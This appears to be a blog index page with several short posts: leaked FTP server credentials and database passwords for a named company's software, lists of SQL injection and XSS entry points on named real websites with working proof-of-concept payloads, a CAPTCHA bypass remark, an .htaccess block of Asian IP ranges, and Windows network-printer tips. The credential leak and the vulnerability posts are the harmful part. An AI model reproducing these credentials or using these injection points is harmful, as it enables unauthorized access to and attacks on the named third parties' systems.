Skip to main content

Posts

europenet.com bravo - ftp access - update suggestions - system compromise

europenet.com bravo update server address: vm203034.planetacomnetwork.com user: bravoupdate pass: eunesr OKey40 and okeyupd folders should be used to update the normal Okey client. To update flawlessly without restarting each time the update_exe.exe if a download fails. You can resume the downloads with any ftp client instead of download the files from the beginning). save the files in "Dati/Temp" and set them as read only (to avoid the deletion). After the update clean the folder except for agg.dat. The password for MagicDb.mdb is "magic" The password for catc.dat is "128159a7c9f2009" (both are Ms Access files) I cannot test the firmware and the -programmer- I don't have one and I don't own any of those products. ------------------------------------------------------------ Other informations cannot be published ... sorry.

pigrecotechnology.it SQL Injection, XSS, nt system compromise

Sql Injection www.pigrecotechnology.it/Archivio/goRicerca.asp?tipologia=tesi Sql injection and XSS http://www.pigrecotechnology.it/Search/contRicerca.asp in the search form "><script>alert(document.cookie);</script><" XSS http://www.pigrecotechnology.it/riservata.asp?messaggio=%3CIMG%20SRC=%27vbscript:msgbox%28%22hello%22%29%27%3E useless CAPTCHA http://www.pigrecotechnology.it/riservata.asp You can get the captcha code (numbers) from the name of the images. It can be easily avoided by a very simple bot. It's just useless.

XSS www.reply.it - sec. vulnerabilities

XSS reply.it/it/search/?lang=IT&search=<script>alert(1);</script> XSS http://www.reply.it/en/tagSearch?tags=Financial+Reports%3Cscript%3Ealert%281%29;%3C/script%3E mirror (?) - same http://d3v578iyw1eidm.cloudfront.net/ several problems in the jsp scripts (unmanaged null exceptions, data of the template, data, etc) template(?) is visible by requesting a wrong id (?) http://reply.it/it/practices/cloudcomputing/readd,7700- sample of the output (ex. http://reply.it/it/practices/cloudcomputing/readd,7700- ) --------------- < div class = "yui-gc clear" id = "unacolonna" > < div class = "yui-u first" id = "col_2_3_sx" > < div class = "tab" > ^service_link^ ^tag_contenuto^ ^dettaglio_contenuto^ ...

Block Spam from Asia china .htaccess solution

After receiving tons of spam on the website I've decided to ban the whole apnic... previously I've tried to ban only china and korea but without success. Since I've not found anything to ban the whole APNIC I've searched for the assigned classes that they manage. P.S. I've added a few LACNIC just add this in a .htaccess file and the spam from the Asia should be gone #list retrieved from #http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.txt #Banning APNIC deny from 1.0.0.0/8 deny from 27.0.0.0/8 deny from 36.0.0.0/8 deny from 39.0.0.0/8 deny from 42.0.0.0/8 deny from 43.0.0.0/8 deny from 49.0.0.0/8 deny from 58.0.0.0/8 deny from 59.0.0.0/8 deny from 60.0.0.0/8 deny from 61.0.0.0/8 deny from 101.0.0.0/8 deny from 103.0.0.0/8 deny from 106.0.0.0/8 deny from 110.0.0.0/8 deny from 111.0.0.0/8 deny from 112.0.0.0/8 deny from 113.0.0.0/8 deny from 114.0.0.0/8 deny from 115.0.0.0/8 deny from 116.0.0.0/8 deny from 117.0....

Use network Printer connected to a 32bit (windows xp?) with a 64bit OS

Usually this happens when you try to connect from a 64 bit OS. If you also have problems with the drivers just install them before adding the share as a *port*. The solution and all the same content can be found here Error 0X0000000d with network printer installation printer installation Solution with Windows Vista: Run a command prompt and type the following: net use LPT2: \\servername\printer This sets up a behind-the-scenes connection to the printer. Go through the add printer wizard, choose to add a local printer, and choose port LPT2. Solution with Windows 7: Go to start and type in "cmd" in the search box. Right click on cmd and select “Run as Administrator”. Type this command net use LPT# \\server\printer /persistent:yes (Substitute #, server, printer as appropriate for your network.) Add your printer locally using the LPT# port. If your laptop has no parallel cable then use LPT1.